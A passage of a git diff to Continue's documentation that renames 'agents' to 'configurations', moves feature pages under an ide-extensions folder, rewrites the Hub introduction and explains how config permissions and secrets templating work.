+This flexibility lets you create specialized setups for different contexts, like a Next.js config with React-specific rules and tools, or a data science config with Python analysis capabilities.
+
+## Config Permissions
+
+When creating configs, you can set visibility levels:
+
+- **Personal**: Only you can see and use the config
+- **Public**: Anyone can discover and use your config
+- **Organization**: Members of your organization can access the config
+
+## Working with Configs
+
+You can interact with configs in three main ways:
+
+- **Create**: Build a new config from scratch or start with a template
+- **Edit**: Modify your existing configs by adding/removing components
+- **Remix**: Take someone else's config and customize it for your needs
+
+## Getting Started
+
+
+
+
+
+ Browse the [Continue Hub](https://hub.continue.dev/explore?type=assistants) to see what configs others have built
+
+
+
+
+
+ Click "Install Config" (+) on any config that interests you
+
+
+
+
+
+ Add your API keys and customize components to match your workflow
+
+
+
+
+
+ Select the config from the dropdown in your Continue extension, type `/config` in the CLI, or use `--config` with the CLI commands
+
+
+
+
+
+## Config Format
+
+All configs follow the [`config.yaml`](/reference) format, whether you're using the hub interface or editing files locally. This ensures consistency between hub-managed and local configurations.
+
diff --git a/docs/hub/configs/use-a-config.mdx b/docs/hub/configs/use-a-config.mdx
new file mode 100644
index 000000000..1785adee5
--- /dev/null
+++ b/docs/hub/configs/use-a-config.mdx
@@ -0,0 +1,18 @@
+---
+title: "How to Use a Custom Config"
+description: "Learn how to add and use a custom configuration in Continue, including setting required inputs and selecting it in your IDE extension."
+---
+
+## Steps to use a custom configuration in Continue
+
+Once you've found the configuration you want to use on Continue Hub:
+
+1. Click “Add Config” on its page
+2. Add any required inputs (e.g. secrets like API keys)
+
+After saving, open the Continue CLI or IDE extension and
+
+- Select the configuration from the **config dropdown** in the Continue extension
+- Type `/config` and select the configuration in the Continue CLI
+- Begin using it for chat mode, agent mode, or other configured capabilities.
+
diff --git a/docs/hub/governance/creating-an-org.mdx b/docs/hub/governance/creating-an-org.mdx
index c0a021000..f8da55c35 100644
--- a/docs/hub/governance/creating-an-org.mdx
+++ b/docs/hub/governance/creating-an-org.mdx
@@ -6,7 +6,7 @@ description: "To Create an Organization, click the organization selector in the

1. Choose a name, which will be used as the display name for your organization throughout the hub
-2. Add a slug, which will be used for your org URL and as the prefix to all organization blocks and agent slugs
+2. Add a slug, which will be used for your org URL and as the prefix to all organization configuration slugs
3. Select an icon for your organization using the image uploader
4. Finally, add a Biography, which will be displayed on your org Home Page
diff --git a/docs/hub/introduction.mdx b/docs/hub/introduction.mdx
index 29061ec2a..3ae6e5d94 100644
--- a/docs/hub/introduction.mdx
+++ b/docs/hub/introduction.mdx
@@ -1,15 +1,114 @@
---
-title: "Introduction"
-description: "Continue Hub provides a central registry for creating, managing, and sharing AI coding assistants and their reusable building blocks with organization-level governance and configuration"
+title: "Continue Hub"
+description: "Central platform for discovering, creating, and sharing AI coding configurations, agents, and components with organization-level governance"
---
-[Continue Hub](https://hub.continue.dev) is the place to discover, configure, and govern the models, rules, and MCP tools you need to create a custom AI coding agent.
+[Continue Hub](https://hub.continue.dev) is your central platform for AI-powered development. Discover pre-built configurations, create custom agents, and manage components that power your coding workflow.
-Continue Hub provides a centralized platform for managing the essential building blocks of your AI coding workflow:
+## What You Can Do on the Hub
-- **[Models](/hub/blocks/block-types#models)**: Discover and configure models from various providers
-- **[MCP Tools](/hub/blocks/block-types#mcp-servers)**: Access and integrate Model Context Protocol tools to retrieve real-time data and take action
-- **[Rules](/hub/blocks/block-types#rules)**: Define custom guidelines for your custom AI coding agent to follow
-- **[Prompts](/hub/blocks/block-types#prompts)**: Create and share reusable prompts that kickoff your custom AI coding agent
+
-Continue Hub also makes it easy for engineering leaders to centrally [configure](/hub/secrets/secret-types) and [govern](/hub/governance/org-permissions) these resources for their organization.
\ No newline at end of file
+
+
+
+ Manage organizations, API keys, secrets, and integrations. Configure models, MCP servers, and connected tools all in one place.
+
+
+ Search existing agents or build custom, reusable agents. Standardize prompts, rules, and tools to match your workflows and share with your team.
+
+
+ Launch and monitor agents across your repositories. Trigger on events or schedules and track performance.
+
+
+
+
+## Hub Components
+
+Agents are built from reusable components that you can create, share, and customize:
+
+
+
+
+
+ Large Language Models from various providers (OpenAI, Anthropic, etc.) configured for specific roles like chat, autocomplete, or editing
+
+
+
+
+
+ Model Context Protocol servers that provide tools and capabilities like database access, web search, or custom functions
+
+
+
+
+
+ Guidelines that shape AI behavior - coding standards, constraints, or specific instructions for your domain
+
+
+
+
+
+ Reusable instructions for common tasks, optimized for specific workflows or coding patterns
+
+
+
+
+
+## Creating Components
+
+
+
+ Components are the building blocks for agents. When you create a component on the hub, it becomes available according to the permissions you set.
+
+
+
+
+
+
+
+ Start with a blank template:
+
+ - Select New Rules, Prompts, Configs, or Agents from the Hub navigation
+ - Click 'New' to start with a blank template
+ - Configure by filling in the inputs to create your markdown configuration
+ 
+
+
+
+
+
+ Customize an existing component:
+
+ - Browse the [Hub](https://hub.continue.dev/) for what you need
+ - Click 'Remix' to create a copy that you can customize
+ - Modify the configuration for your specific needs
+ - Save your customized version
+ 
+
+
+
+
+
+
+### Component Permissions
+
+Set visibility for your components:
+
+- **Personal**: Only you can see and use
+- **Public**: Anyone can discover and use
+- **Organization**: Team members can access
+
+### Component Inputs
+
+Some components can receive values, including secrets, as inputs through templating. For values that the user needs to set, you can use template variables (e.g. `${{ inputs.API_KEY}}`). Then, the user can set `API_KEY: ${{ secrets.MY_API_KEY }}` in the `with` clause of their agent or config.
+
+
+**Choosing between `secrets.` and `inputs.`**
+
+When creating blocks for the hub:
+- Use `${{ inputs.INPUT_NAME }}` in your block definition when you want users to be able to customize which secret is used
+- Users will then map their own secrets using `${{ secrets.SECRET_NAME }}` in the `with` clause
+
+For personal or single-use configurations, you can skip the inputs layer and reference `${{ secrets.SECRET_NAME }}` directly in your block.
+
diff --git a/docs/hub/secrets/secret-types.mdx b/docs/hub/secrets/secret-types.mdx
index ebf3d39ca..d2b690faa 100644
--- a/docs/hub/secrets/secret-types.mdx
+++ b/docs/hub/secrets/secret-types.mdx
@@ -1,16 +1,16 @@
---
title: "Secret Types"
-description: "The Continue Hub comes with secrets management built-in. Secrets are values such as API keys or endpoints that can be shared across agents and within organizations."
+description: "The Continue Hub comes with secrets management built-in. Secrets are values such as API keys or endpoints that can be shared across configurations and within organizations."
---
## User secrets
-User secrets are defined by the user for themselves. This means that user secrets are available only to the user that created them. User secrets are assumed to be safe for the user to know, so they will be sent to the IDE extensions alongside the agent `config.yaml`.
+User secrets are defined by the user for themselves. This means that user secrets are available only to the user that created them. User secrets are assumed to be safe for the user to know, so they will be sent to the IDE extensions alongside `config.yaml`.
This allows API requests to be made directly from the IDE extensions. You can use user secrets with [Solo](/hub/governance/pricing#solo), [Teams](/hub/governance/pricing#teams), and [Enterprise](/hub/governance/pricing#enterprise). User secrets can be managed [here](https://hub.continue.dev/settings/secrets) in the hub.
## Org secrets
-Org secrets are defined by admins for their organization. Org secrets are available to anyone in the organization to use with agents in that organization. Org secrets are assumed to not be shareable with the user (e.g. you are a team lead who wants to give team members access to models without passing out API keys).
+Org secrets are defined by admins for their organization. Org secrets are available to anyone in the organization to use with configurations in that organization. Org secrets are assumed to not be shareable with the user (e.g. you are a team lead who wants to give team members access to models without passing out API keys).
This is why LLM requests are proxied through api.continue.dev / on-premise proxy and secrets are never sent to the IDE extensions. You can only use org secrets on [Teams](/hub/governance/pricing#teams) and [Enterprise](/hub/governance/pricing#enterprise). If you are an admin, you can manage secrets for your organization from the org settings page.
diff --git a/docs/hub/sharing.mdx b/docs/hub/sharing.mdx
index b429dbd9d..93a7a9de3 100644
--- a/docs/hub/sharing.mdx
+++ b/docs/hub/sharing.mdx
@@ -7,7 +7,7 @@ description: "Connect with the Continue community to discover, share, and collab
Join thousands of developers using Continue. Share experiences, get help, and contribute to the ecosystem.
-[Join our Discord Community →](https://discord.gg/continue)
+[Join our Discord Community →](https://discord.gg/vapESyrFmJ)
## Publishing
@@ -15,17 +15,17 @@ Share your custom assistants, blocks, and configurations with the Continue commu
[Visit the Hub →](https://hub.continue.dev)
-## Browse Agents
+## Browse Configurations
Explore assistants created by the community for specific use cases and workflows.
-[Browse Agents →](https://hub.continue.dev)
+[Browse Configurations →](https://hub.continue.dev)
-## Using Agents
+## Using Configurations
Learn how to discover, install, and use community-created assistants in your projects.
-[Learn About Agents →](/hub/assistants/intro)
+[Learn About Configurations →](/hub/configs/intro)
---
diff --git a/docs/hub/source-control.mdx b/docs/hub/source-control.mdx
deleted file mode 100644
index ee0c410ec..000000000
--- a/docs/hub/source-control.mdx
+++ /dev/null
@@ -1,44 +0,0 @@
----
-title: "Source Control"
-description: "When managing your custom agents within an organization, you might want to take advantage of your usual source control workflows. Continue makes this easy with a that automatically syncs your YAML files with hub.continue.dev. We are also planning on adding automations for GitLab, BitBucket, Gitee, and others. If you are interested, please reach out to us on ."
----
-
-## Quickstart
-
-This quickstart uses a template repository, but you can also follow these steps 2-4 from an existing repository.
-
-### 1. Create a new repository from the template
-
-As shown in the image below, start by creating a new repository from [the template](https://github.com/continuedev/continue-hub-template). Click "Use Template" and then "Create a new repository".
-
-
-
-### 2. Obtain a deploy key
-
-Deploy keys allow the GitHub Action to authenticate with hub.continue.dev. [Obtain your deploy key here](https://hub.continue.dev/settings/api-keys) and then [create a secret](https://docs.github.com/en/actions/security-for-github-actions/security-guides/using-secrets-in-github-actions#creating-secrets-for-a-repository) named `CONTINUE_API_KEY` in your GitHub repository.
-
-### 3. Configure the GitHub Action
-
-
- This step assumes you have already created an organization on
- hub.continue.dev. If not, learn more [here](/hub/governance/creating-an-org).
-
-
-In the repository you created, navigate to `.github/workflows/main.yaml` and update the lines below to match your organization:
-
-```
-env: OWNER_SLUG: my-org-slug # <-- TODO
-```
-
-This is the only configuration necessary, but you can view the full list of options [here](https://github.com/continuedev/continue-publish-action/blob/main/README.md).
-
-### 4. Commit and push
-
-Add the [YAML for your agents and blocks](/reference) to the appropriate directories. The name of the file will be the slug of the agent/block.
-
-- `assistants/public` for public agents
-- `assistants/private` for private (visible only within your organization) agents
-- `blocks/public` for public blocks
-- `blocks/private` for private blocks
-
-Then, commit and push your changes. Once the GitHub Action has completed running, you should be able to view the agents within your organization on hub.continue.dev. For subsequent changes, make sure to increment the `version` property of your updated YAML file(s).
diff --git a/docs/features/agent/context-selection.mdx b/docs/ide-extensions/agent/context-selection.mdx
similarity index 91%
rename from docs/features/agent/context-selection.mdx
rename to docs/ide-extensions/agent/context-selection.mdx
index 8d43ad2d3..d4aad5cab 100644
--- a/docs/features/agent/context-selection.mdx
+++ b/docs/ide-extensions/agent/context-selection.mdx
@@ -3,6 +3,6 @@ title: "Context Selection"
description: "Learn how Continue's agent mode selects relevant code context using file content, language server definitions, imports, and recent file history."
---
-You can use the same methods to manually add context as [Chat](/features/chat/context-selection).
+You can use the same methods to manually add context as [Chat](/ide-extensions/chat/context-selection).
Tool call responses are automatically included as context items. This enables Agent mode to see the result of the previous action and decide what to do next.
diff --git a/docs/features/agent/how-it-works.mdx b/docs/ide-extensions/agent/how-it-works.mdx
similarity index 90%
rename from docs/features/agent/how-it-works.mdx
rename to docs/ide-extensions/agent/how-it-works.mdx
index d24557d78..ccb1a65b6 100644
--- a/docs/features/agent/how-it-works.mdx
+++ b/docs/ide-extensions/agent/how-it-works.mdx
@@ -1,13 +1,13 @@
---
title: "How Agent Mode Works"
-description: "Agent offers the same functionality as Chat, while also including tools in the request to the model and an interface for handling tool calls and responses."
+description: "Agent mode offers the same functionality as Chat mode, while also including tools in the request to the model and an interface for handling tool calls and responses."
---
## How the Tool Handshake Works
Tools provide a flexible, powerful way for models to interface with the external world. They are provided to the model as a JSON object with a name and an arguments schema. For example, a `read_file` tool with a `filepath` argument will give the model the ability to request the contents of a specific file.
-The following handshake describes how Agent uses tools:
+The following handshake describes how Agent mode uses tools:
1. In Agent mode, available tools are sent along with `user` chat requests
2. The model can choose to include a tool call in its response
diff --git a/docs/features/agent/how-to-customize.mdx b/docs/ide-extensions/agent/how-to-customize.mdx
similarity index 69%
rename from docs/features/agent/how-to-customize.mdx
rename to docs/ide-extensions/agent/how-to-customize.mdx
index 1cf18bf31..b5ebb5272 100644
--- a/docs/features/agent/how-to-customize.mdx
+++ b/docs/ide-extensions/agent/how-to-customize.mdx
@@ -1,12 +1,12 @@
---
title: "How to Customize Agent Mode"
description: "Learn how to customize Agent Mode in Continue to better fit your workflow and coding style."
-sidebarTitle: "Customize Agent"
+sidebarTitle: "Customize Agent Mode"
---
## How to Add Rules Blocks
-Adding Rules can be done in your agent locally or in the Hub. You can explore Rules on the Continue Hub and refer to the [Rules deep dive](/customize/deep-dives/rules) for more details.
+Adding Rules can be done in your configuration locally or in the Hub. You can explore Rules on the Continue Hub and refer to the [Rules deep dive](/customize/deep-dives/rules) for more details.
## How to Customize System Messages
@@ -25,11 +25,11 @@ models:
## How to Add MCP Tools
-You can add MCP servers to your agent to give Agent access to more tools. Explore [MCP Servers on the Hub](https://hub.continue.dev) and consult the [MCP guide](/customize/deep-dives/mcp) for more details.
+You can add MCP servers to your configuration to give Agent mode access to more tools. Explore [MCP Servers on the Hub](https://hub.continue.dev/explore?type=mcpServers) and consult the [MCP guide](/customize/deep-dives/mcp) for more details.
## How to Configure Tool Policies
-You can adjust the Agent's tool usage behavior to three options:
+You can adjust the Agent mode's tool usage behavior to three options:
- **Ask First (default)**: Request user permission with "Cancel" and "Continue" buttons
- **Automatic**: Automatically call the tool without requesting permission
diff --git a/docs/features/agent/model-setup.mdx b/docs/ide-extensions/agent/model-setup.mdx
similarity index 94%
rename from docs/features/agent/model-setup.mdx
rename to docs/ide-extensions/agent/model-setup.mdx
index bd8888460..c4fa7045c 100644
--- a/docs/features/agent/model-setup.mdx
+++ b/docs/ide-extensions/agent/model-setup.mdx
@@ -5,7 +5,7 @@ sidebarTitle: "Model Setup"
---
import { ModelRecommendations } from '/snippets/ModelRecommendations.jsx'
-The models you set up for Chat mode will be used with Agent mode if the model supports tool calling. The recommended models and how to set them up can be found [here](/features/chat/model-setup).
+The models you set up for Chat mode will be used with Agent mode if the model supports tool calling. The recommended models and how to set them up can be found [here](/ide-extensions/chat/model-setup).
## How System Message Tools Work
diff --git a/docs/features/agent/plan-mode.mdx b/docs/ide-extensions/agent/plan-mode.mdx
similarity index 95%
rename from docs/features/agent/plan-mode.mdx
rename to docs/ide-extensions/agent/plan-mode.mdx
index 474c3fbd9..89cd65c4d 100644
--- a/docs/features/agent/plan-mode.mdx
+++ b/docs/ide-extensions/agent/plan-mode.mdx
@@ -39,7 +39,7 @@ Select "Plan" from the mode selector below the chat input, or use `Cmd/Ctrl + .`

-For detailed information about tools and usage, see the [Agent documentation](/features/agent/how-it-works), which covers both Agent and Plan modes.
+For detailed information about tools and usage, see the [Agent documentation](/ide-extensions/agent/how-it-works), which covers both Agent and Plan modes.
### What Is the Common Workflow for Plan Mode?
diff --git a/docs/features/agent/quick-start.mdx b/docs/ide-extensions/agent/quick-start.mdx
similarity index 55%
rename from docs/features/agent/quick-start.mdx
rename to docs/ide-extensions/agent/quick-start.mdx
index 32d99869a..0ed038b8d 100644
--- a/docs/features/agent/quick-start.mdx
+++ b/docs/ide-extensions/agent/quick-start.mdx
@@ -3,7 +3,7 @@ title: "Quick Start"
description: "Get started with Continue's Agent mode to automatically implement code changes, fix bugs, and run commands using AI-powered tools that can modify your codebase based on natural language instructions"
---
-Agent equips the Chat model with the tools needed to handle a wide range of coding tasks, allowing the model to make decisions and save you the work of manually finding context and performing actions.
+Agent mode equips the Chat model with the tools needed to handle a wide range of coding tasks, allowing the model to make decisions and save you the work of manually finding context and performing actions.
@@ -41,14 +41,14 @@ Agent equips the Chat model with the tools needed to handle a wide range of codi
You can switch to `Agent` in the mode selector below the chat input box. The mode selector offers three options:
-- **Chat**: No tools available, pure conversation
-- **Plan**: Read-only tools for safe exploration and planning
-- **Agent**: All tools available for making changes
+- **Chat mode**: No tools available, pure conversation
+- **Plan mode**: Read-only tools for safe exploration and planning
+- **Agent mode**: All tools available for making changes

- If Agent or Plan is disabled with a `Not Supported` message, the selected
+ If Agent mode or Plan mode is disabled with a `Not Supported` message, the selected
model or provider doesn't support tools, or Continue doesn't yet support tools
with it. See [Model Blocks](/customization/models) for more information.
@@ -57,23 +57,23 @@ You can switch to `Agent` in the mode selector below the chat input box. The mod
Use the keyboard shortcut `Cmd/Ctrl + .` to quickly cycle between modes.
-### How to Chat with Agent
+### How to Chat with Agent mode
-Agent lives within the same interface as [Chat](/features/chat/how-it-works), so the same [input](/features/chat/quick-start#how-to-start-a-conversation) is used to send messages and you can still use the same manual methods of providing context, such as [`@` context providers](/features/chat/quick-start#how-to-use--for-additional-context) or adding [highlighted code from the editor](/features/chat/quick-start#how-to-include-code-context).
+Agent mode lives within the same interface as [Chat](/ide-extensions/chat/how-it-works) mode, so the same [input](/ide-extensions/chat/quick-start#how-to-start-a-conversation) is used to send messages and you can still use the same manual methods of providing context, such as [`@` context providers](/ide-extensions/chat/quick-start#how-to-use--for-additional-context) or adding [highlighted code from the editor](/ide-extensions/chat/quick-start#how-to-include-code-context).
-#### How to Use Natural Language with Agent
+#### How to Use Natural Language with Agent mode
-With Agent, you can provide natural language instruction and let the model do the work. As an example, you might say
+With Agent mode, you can provide natural language instruction and let the model do the work. As an example, you might say
> Set the @typescript-eslint/naming-convention rule to "off" for all eslint configurations in this project
-Agent will then decide which tools to use to get the job done.
+Agent mode will then decide which tools to use to get the job done.
-## How to Give Agent Permission
+## How to Give Agent Mode Permission
-By default, Agent will ask permission when it wants to use a tool. Click `Continue` to allow Agent mode to proceed with the tool call or `Cancel` to reject it.
+By default, Agent mode will ask permission when it wants to use a tool. Click `Continue` to allow Agent mode to proceed with the tool call or `Cancel` to reject it.
-
+
You can use tool policies to exclude or make usage automatic for specific tools. See [MCP Tools](/customization/mcp-tools) for more background.
@@ -81,4 +81,4 @@ You can use tool policies to exclude or make usage automatic for specific tools.
Any data returned from a tool call is automatically fed back into the model as a context item. Most errors are also caught and returned, so that Agent mode can decide how to proceed.
-
+
diff --git a/docs/features/autocomplete/context-selection.mdx b/docs/ide-extensions/autocomplete/context-selection.mdx
similarity index 100%
rename from docs/features/autocomplete/context-selection.mdx
rename to docs/ide-extensions/autocomplete/context-selection.mdx
diff --git a/docs/features/autocomplete/how-it-works.mdx b/docs/ide-extensions/autocomplete/how-it-works.mdx
similarity index 95%
rename from docs/features/autocomplete/how-it-works.mdx
rename to docs/ide-extensions/autocomplete/how-it-works.mdx
index 960cf6778..f59331116 100644
--- a/docs/features/autocomplete/how-it-works.mdx
+++ b/docs/ide-extensions/autocomplete/how-it-works.mdx
@@ -28,7 +28,7 @@ You can learn more about how it works in the [Autocomplete deep dive](/customiza
**Looking for AI that predicts your next changes or additions?** Check out
- [Next Edit](/features/autocomplete/next-edit), an experimental feature that
+ [Next Edit](/ide-extensions/autocomplete/next-edit), an experimental feature that
proactively suggests code changes before you even start typing, going beyond
traditional autocomplete to anticipate entire code modifications.
diff --git a/docs/features/autocomplete/how-to-customize.mdx b/docs/ide-extensions/autocomplete/how-to-customize.mdx
similarity index 100%
rename from docs/features/autocomplete/how-to-customize.mdx
rename to docs/ide-extensions/autocomplete/how-to-customize.mdx
diff --git a/docs/features/autocomplete/model-setup.mdx b/docs/ide-extensions/autocomplete/model-setup.mdx
similarity index 93%
rename from docs/features/autocomplete/model-setup.mdx
rename to docs/ide-extensions/autocomplete/model-setup.mdx
index e5585ca4d..019a3b69f 100644
--- a/docs/features/autocomplete/model-setup.mdx
+++ b/docs/ide-extensions/autocomplete/model-setup.mdx
@@ -17,7 +17,7 @@ Setting up the right model for autocomplete is important for a smooth coding exp
## Next Edit Model
-For proactive code prediction that anticipates your next edit, Continue supports specialized [Next Edit](/features/autocomplete/next-edit) models:
+For proactive code prediction that anticipates your next edit, Continue supports specialized [Next Edit](/ide-extensions/autocomplete/next-edit) models:
**Supported Next Edit model:**
diff --git a/docs/features/autocomplete/next-edit.mdx b/docs/ide-extensions/autocomplete/next-edit.mdx
similarity index 96%
rename from docs/features/autocomplete/next-edit.mdx
rename to docs/ide-extensions/autocomplete/next-edit.mdx
index 9deb0c3af..71760f4ba 100644
--- a/docs/features/autocomplete/next-edit.mdx
+++ b/docs/ide-extensions/autocomplete/next-edit.mdx
@@ -6,7 +6,7 @@ description: "Learn how Continue's Next Edit feature predicts and suggests your
Next Edit is currently an experimental feature. It requires
[Instinct](https://hub.continue.dev/continuedev/instinct) or [Mercury Coder
- model](https://hub.continue.dev/inceptionlabs/mercury-coder) configured in
+ model](https://hub.continue.dev/inception/mercury-coder) configured in
your Continue autocomplete settings and is not yet available for JetBrains
use.
@@ -73,7 +73,6 @@ Next Edit activates automatically when:
Next Edit requires:
- Compatible AI models (Mercury Coder or Instinct)
-- Continue development team access
- VS Code (JetBrains support coming soon)
- **API Keys**: Organizations can add API keys to [org secrets](/hub/secrets/secret-types) for team-wide access. Individual users need to provide their own API keys in their [model configuration](/customize/model-providers/overview)
@@ -83,7 +82,7 @@ Next Edit requires:
designed for next edit predictions. Once it's been loaded, you must reload VS
Code to activate it.
diff --git a/docs/features/autocomplete/quick-start.mdx b/docs/ide-extensions/autocomplete/quick-start.mdx
similarity index 100%
rename from docs/features/autocomplete/quick-start.mdx
rename to docs/ide-extensions/autocomplete/quick-start.mdx
diff --git a/docs/features/chat/context-selection.mdx b/docs/ide-extensions/chat/context-selection.mdx
similarity index 84%
rename from docs/features/chat/context-selection.mdx
rename to docs/ide-extensions/chat/context-selection.mdx
index 4c5dc9cc8..c76b43b9c 100644
--- a/docs/features/chat/context-selection.mdx
+++ b/docs/ide-extensions/chat/context-selection.mdx
@@ -22,11 +22,11 @@ You can include a specific file in your current workspace by typing '@Files' and
## Codebase Search
-For better codebase awareness, see our [guide on making agents aware of codebases and documentation](/guides/codebase-documentation-awareness).
+For better codebase awareness, see our [guide on making agent mode aware of codebases and documentation](/guides/codebase-documentation-awareness).
## How to Include Documentation Sites
-For better documentation awareness, see our [guide on making agents aware of codebases and documentation](/guides/codebase-documentation-awareness).
+For better documentation awareness, see our [guide on making agent mode aware of codebases and documentation](/guides/codebase-documentation-awareness).
## How to Include Terminal Contents
diff --git a/docs/features/chat/how-it-works.mdx b/docs/ide-extensions/chat/how-it-works.mdx
similarity index 96%
rename from docs/features/chat/how-it-works.mdx
rename to docs/ide-extensions/chat/how-it-works.mdx
index 381b49b7c..252ce2898 100644
--- a/docs/features/chat/how-it-works.mdx
+++ b/docs/ide-extensions/chat/how-it-works.mdx
@@ -48,7 +48,7 @@ View the exact prompt sent to the AI model in the [prompt logs](/troubleshooting
Learn more about how you can bring in context:
-- [Codebase Context](/customize/context/codebase)
+- [Codebase Context](/guides/codebase-documentation-awareness)
- [Documentation Context](/guides/codebase-documentation-awareness)
- [Built-in Context Providers](/customize/deep-dives/custom-providers)
diff --git a/docs/features/chat/how-to-customize.mdx b/docs/ide-extensions/chat/how-to-customize.mdx
similarity index 100%
rename from docs/features/chat/how-to-customize.mdx
rename to docs/ide-extensions/chat/how-to-customize.mdx
diff --git a/docs/features/chat/model-setup.mdx b/docs/ide-extensions/chat/model-setup.mdx
similarity index 100%
rename from docs/features/chat/model-setup.mdx
rename to docs/ide-extensions/chat/model-setup.mdx
diff --git a/docs/features/chat/quick-start.mdx b/docs/ide-extensions/chat/quick-start.mdx
similarity index 100%
rename from docs/features/chat/quick-start.mdx
rename to docs/ide-extensions/chat/quick-start.mdx
diff --git a/docs/features/edit/context-selection.mdx b/docs/ide-extensions/edit/context-selection.mdx
similarity index 100%
rename from docs/features/edit/context-selection.mdx
rename to docs/ide-extensions/edit/context-selection.mdx
diff --git a/docs/features/edit/how-it-works.mdx b/docs/ide-extensions/edit/how-it-works.mdx
similarity index 83%
rename from docs/features/edit/how-it-works.mdx
rename to docs/ide-extensions/edit/how-it-works.mdx
index 50b3ab343..fe8cea592 100644
--- a/docs/features/edit/how-it-works.mdx
+++ b/docs/ide-extensions/edit/how-it-works.mdx
@@ -14,7 +14,7 @@ When you start an edit session, Continue:
If you accept the diff, we remove the previously highlighted lines, and if you reject the diff, we remove the proposed changes.
-**Looking for AI that predicts your next edit?** Check out [Next Edit](/features/autocomplete/next-edit), an experimental feature that proactively suggests code changes before you even start typing, going beyond traditional autocomplete to anticipate entire code modifications.
+**Looking for AI that predicts your next edit?** Check out [Next Edit](/ide-extensions/autocomplete/next-edit), an experimental feature that proactively suggests code changes before you even start typing, going beyond traditional autocomplete to anticipate entire code modifications.
If you would like to view the exact prompt that is sent to the model during an edit, you can [find it in the prompt logs](/troubleshooting#check-the-logs).
diff --git a/docs/features/edit/how-to-customize.mdx b/docs/ide-extensions/edit/how-to-customize.mdx
similarity index 85%
rename from docs/features/edit/how-to-customize.mdx
rename to docs/ide-extensions/edit/how-to-customize.mdx
index f6925e764..a9a7752a5 100644
--- a/docs/features/edit/how-to-customize.mdx
+++ b/docs/ide-extensions/edit/how-to-customize.mdx
@@ -6,7 +6,7 @@ sidebarTitle: "Customize Edit"
## How to Set Active Edit/Apply Model
-You can configure particular models from your Agent to be used for Edit and Apply requests.
+You can configure particular models to be used for Edit and Apply requests.
1. Click the 3 dots above the main input
2. Click the cube icon to expand the "Models" section
diff --git a/docs/features/edit/model-setup.mdx b/docs/ide-extensions/edit/model-setup.mdx
similarity index 100%
rename from docs/features/edit/model-setup.mdx
rename to docs/ide-extensions/edit/model-setup.mdx
diff --git a/docs/features/edit/quick-start.mdx b/docs/ide-extensions/edit/quick-start.mdx
similarity index 97%
rename from docs/features/edit/quick-start.mdx
rename to docs/ide-extensions/edit/quick-start.mdx
index 365009c46..45fa7f8f0 100644
--- a/docs/features/edit/quick-start.mdx
+++ b/docs/ide-extensions/edit/quick-start.mdx
@@ -22,7 +22,7 @@ Once you've activated Edit, you're ready to provide instructions.
### How to Provide Instructions
-Describe the changes you would like the model to make to your highlighted code. For edits, a good prompt should be relatively short and concise. For longer, more complex tasks, we recommend using [Chat](/features/chat/quick-start).
+Describe the changes you would like the model to make to your highlighted code. For edits, a good prompt should be relatively short and concise. For longer, more complex tasks, we recommend using [Chat](/ide-extensions/chat/quick-start).
### How to Accept or Reject Changes
diff --git a/docs/getting-started/install.mdx b/docs/ide-extensions/install.mdx
similarity index 74%
rename from docs/getting-started/install.mdx
rename to docs/ide-extensions/install.mdx
index 739f88394..ea413a8ba 100644
--- a/docs/getting-started/install.mdx
+++ b/docs/ide-extensions/install.mdx
@@ -3,6 +3,16 @@ title: "Install"
description: "Get Continue installed in your favorite IDE in just a few steps."
---
+
+
@@ -24,7 +34,7 @@ The Continue logo will appear on the left sidebar. For a better experience, move
-[Sign in to the hub](https://auth.continue.dev/) to get started with your first agent
+[Sign in to the hub](https://auth.continue.dev/) to get started
@@ -54,7 +64,7 @@ Click `Install`, which will cause the Continue logo to show up on the right tool
-[Sign in to the hub](https://auth.continue.dev/) to get started with your first agent
+[Sign in to the hub](https://auth.continue.dev/) to get started
@@ -68,6 +78,6 @@ Click `Install`, which will cause the Continue logo to show up on the right tool
## Signing in
-Click "Get started" to sign in to the hub and start using agents.
+Click "Get started" to sign in to the hub and get started.
-
+
diff --git a/docs/features/plan/how-it-works.mdx b/docs/ide-extensions/plan/how-it-works.mdx
similarity index 100%
rename from docs/features/plan/how-it-works.mdx
rename to docs/ide-extensions/plan/how-it-works.mdx
diff --git a/docs/features/plan/quick-start.mdx b/docs/ide-extensions/plan/quick-start.mdx
similarity index 78%
rename from docs/features/plan/quick-start.mdx
rename to docs/ide-extensions/plan/quick-start.mdx
index 05961273c..864a33cc9 100644
--- a/docs/features/plan/quick-start.mdx
+++ b/docs/ide-extensions/plan/quick-start.mdx
@@ -15,13 +15,13 @@ You can switch to `Plan` in the mode selector below the chat input box.
If Plan is disabled with a `Not Supported` message, the selected model or
- provider doesn't support tools. See [Model Setup](/features/agent/model-setup)
+ provider doesn't support tools. See [Model Setup](/ide-extensions/agent/model-setup)
for more information.
### Chat with Plan
-Plan mode lives within the same interface as [Chat](/features/chat/how-it-works) and [Agent](/features/agent/how-it-works), so the same [input](/features/chat/quick-start#how-to-start-a-conversation) is used to send messages and you can still use the same manual methods of providing context, such as [`@` context providers](/features/chat/quick-start#how-to-use--for-additional-context) or adding [highlighted code from the editor](/features/chat/quick-start#how-to-include-code-context).
+Plan mode lives within the same interface as [Chat mode](/ide-extensions/chat/how-it-works) and [Agent mode](/ide-extensions/agent/how-it-works), so the same [input](/ide-extensions/chat/quick-start#how-to-start-a-conversation) is used to send messages and you can still use the same manual methods of providing context, such as [`@` context providers](/ide-extensions/chat/quick-start#how-to-use--for-additional-context) or adding [highlighted code from the editor](/ide-extensions/chat/quick-start#how-to-include-code-context).
#### What makes Plan different
diff --git a/docs/getting-started/quick-start.mdx b/docs/ide-extensions/quick-start.mdx
similarity index 71%
rename from docs/getting-started/quick-start.mdx
rename to docs/ide-extensions/quick-start.mdx
index c27627465..a339bc76a 100644
--- a/docs/getting-started/quick-start.mdx
+++ b/docs/ide-extensions/quick-start.mdx
@@ -1,6 +1,6 @@
---
title: "Quick Start Tutorial"
-description: "Learn Continue's core features through hands-on exercises. Get started with Autocomplete, Edit, Chat, and Agent in minutes."
+description: "Learn Continue's core features through hands-on exercises. Get started with Autocomplete, Edit, Chat, and Agent mode in minutes."
sidebarTitle: "Quick Start"
---
@@ -8,7 +8,7 @@ Welcome to Continue! This interactive tutorial will guide you through all four c
**Prerequisites**: Make sure you have [installed
- Continue](/getting-started/install) and [signed
+ Continue](/ide-extensions/install) and [signed
in](https://auth.continue.dev/) to get started.
@@ -49,6 +49,8 @@ Continue will intelligently suggest function implementations based on the contex
---
+
+
## ✏️ Edit
**What it does**: Make quick, targeted changes to specific code sections using natural language instructions.
@@ -96,9 +98,9 @@ Continue will show you a diff of the proposed changes. Accept or reject individu
